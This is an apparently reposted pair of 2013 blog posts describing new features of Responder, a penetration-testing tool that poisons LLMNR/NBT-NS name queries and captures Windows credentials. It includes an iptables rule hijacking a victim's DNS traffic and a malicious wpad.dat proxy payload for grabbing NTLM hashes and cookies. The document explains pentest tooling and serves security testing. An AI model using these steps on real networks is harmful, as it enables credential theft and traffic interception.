Owning Windows Networks with Responder 1.7

Nytro · July 9, 2013

Owning Windows Networks with Responder 1.7

A lot has been happening with Responder lately!

Everything is still written in pure python for portability’s sake, there's no need to install any third-party libraries.

For starters, Responder is a passive credentials gathering tool.

It listens for specific NBT-NS (NetBIOS Name Service) and LLMNR (Link-local Multicast Name Resolution) queries and poisons the issuer. Responder has several rogue authentication servers listening on several UDP and TCP ports. If you want more information on LLMNR &NBT-NS poisoning, read my previous blog post: Introducing Responder-1.0 - SpiderLabs Anterior

New Functionalities in Responder:

- Rogue SMB server now makes use of SMB Extended Security NTLMSSP authentication (NTLMv1/v2) by default, so you won't miss a hash!

- Rogue FTP server clear text credential capture module (enabled by default).

- Small DNS server (enabled by default).

- ICMP Redirects utility for Windows =< 5.2 Domain members.

- Stealth mode Domain Controller finder (enabled by default).

- Host Fingerprint module (need to specify -f On).

- All activity is now logged into a file named Responder-Session.log with date and time for each entry.

- Ability to switch On/Off any rogue server via command line.

- Ability to specify a different challenge for all NTLM rogue servers.

- NT4 specific SMB clear text credentials support.

Responder 1.7 in action:

ICMP Redirect for Windows =< 5.2 Domain members:

Windows =< 5.2 Domain members (XP, Windows server 2003 and above) have ICMP Redirect enabled by default. This functionality can be used to remotely add (with no authentication required) a new route for a given host. Yes, you heard me right.

Case scenario example:

Attacker has IP address 192.168.2.10
Domain controller has IP address 192.168.3.58, which is also the primary DNS server.
Victim workstation has IP address 192.168.2.39
Gateway has IP address 192.168.2.1

This screenshot reflects the victim default route prior using Responder ICMP Redirect utility:

So we start by disabling outgoing ICMP requests:

We launch Responder Icmp-Redirect.py utility accordingly:

Back to XP domain member route configuration:

Now we can create a NAT firewall rule and answer all DNS queries for 192.168.3.58 from 192.168.2.39 by issuing this command as root :

iptables -t nat -A PREROUTING -p udp --dst 192.168.3.58 --dport 53 -j DNAT --to-destination 192.168.2.10:53

From there, Responder will reply to DNS requests and make use of its rogue authentication servers:

Stealth Domain Controller Finder:

Responder has a Browser listener (UDP 138) and waits for Domain Master Browser (DMB) Announcements. In a Windows NT domain context, only the Primary Domain Controller can be the DMB according to Microsoft documentation. If there's no domain set and workstations are in a Workgroup, usually the Local Master Browser (LMB) will be the DMB.

In this example, Responder is simply listening on port UDP 138:

OS fingerprint module:

When enabled, the fingerprint module will fingerprint any host who issued either an LLMNR or NBT-NS query :

FTP credential module:

This module will grab plaintext FTP credentials:

Final words:

Apart from the fact that with its internal components Responder is a great tool to gather encrypted or clear text credentials passively, it can also be combined with ARP spoofing attacks in order to amplify its results.

As always, latest version is available here : https://github.com/SpiderLabs/Responder

Owning Windows Networks With Responder Part 2

One of the great things about working within SpiderLabs is that we prefer to use our own tools whenever possible. The biggest advantage to using your own toolset is lot more control over what's happening during the testing process; helping to avoid any nasty side effects. It also provides a better insight into vulnerabilities and where best they can be used. For these reasons there has been a lot of support from my colleagues on the SpiderLabs network pentest team for Responder.

Another advantage is the ability to greatly shorten the feedback/development loop. New Responder features have been suggested by members of the pentest team and we've been able to test then deploy them into the field that same day.

New Functionalities in Responder:

Built-in proxy server, supporting NTLMSSP and Basic authentication scheme.
This proxy is listening on port TCP 3141 and can be switched to on/off.?
The HTTP server was updated to handle WPAD requests.
Built-in LDAP rogue server supporting NTLMSSP and Simple Bind (clear text) authentication schemes. This module can be combined with the ICMP-Redirect utility and the DNS server to be reliably effective.

How WPAD works:

WPAD in a corporate Windows environment is used to automatically configure Internet Explorer proxy settings. This functionality is enabled by default on all Windows release since Windows 2000.?

WPAD setup can be boiled down like this:

If no wpad file was specified in a DHCP-INFORM packet (opcode 252), a DNS type A query will be issued for wpad, if DNS fail, then Link-local Multicast Name Resolution (LLMNR) will be used on Windows >= Vista, if it fail again then NetBIOS Name Service (NBT-NS) will be used.?
Once the WPAD server is found, the client will initiate an HTTP GET request and
retrieve /wpad.dat file which is a javascript like file. This file is meant to contain basic or advanced proxy usage directives.?
Once this file is retrieved, Internet Explorer will use the retrieved settings and
connect to the proxy server for all HTTP requests.?

This website provides a good guide on how to implement your wpad.dat files for your needs.

Abusing the WPAD functionality, the Responder way:

In this release, responder takes care of Web Proxy Autodiscovery Protocol (WPAD) requests. Responder will answer to WPAD LLMNR, NBT-NS queries and provide a wpad.dat file. The javascript payload used is pretty simple:

function FindProxyForURL(url, host) { return 'PROXY wpadwpadwpad:3141; DIRECT'; }?

This function contains the following directives:

Use a proxy server for all connections.
Responder proxy server is set to wpadwpadwpad:3141
If this proxy server fails for whatever reason, then access the website directly.

Once Internet Explorer retrieves this file, all connections will be redirected to Responder proxy server. It can be noted that no IP address is specified for this proxy but a local name (wpadwpadwpad) and there's a reason for that:

We want to have this local name to be queried via LLMNR or NBT-NS, which Responder will resolve.
Once this Local Intranet Zone (LIZ) name is resolved, Internet Explorer will connect to Responder and send its NTLM hashes transparently with no password prompt.

The second trick is to abruptly reset the HTTP connection upon receiving Internet Explorer’s last NTLM packet exchange (NTLMSSP_AUTH) which contains the NTLM credentials. This allows us to fake a proxy failure so IE will simply connect directly to the website it requested.

The cool catch in this is that for each connection IE will try to reuse the proxy even if it failed before. This means that Responder is able to catch the cookies for each web request transparently.

This screenshot demonstrates what happens when you open Internet Explorer on a Windows Server 2008R2 Domain Controller by default: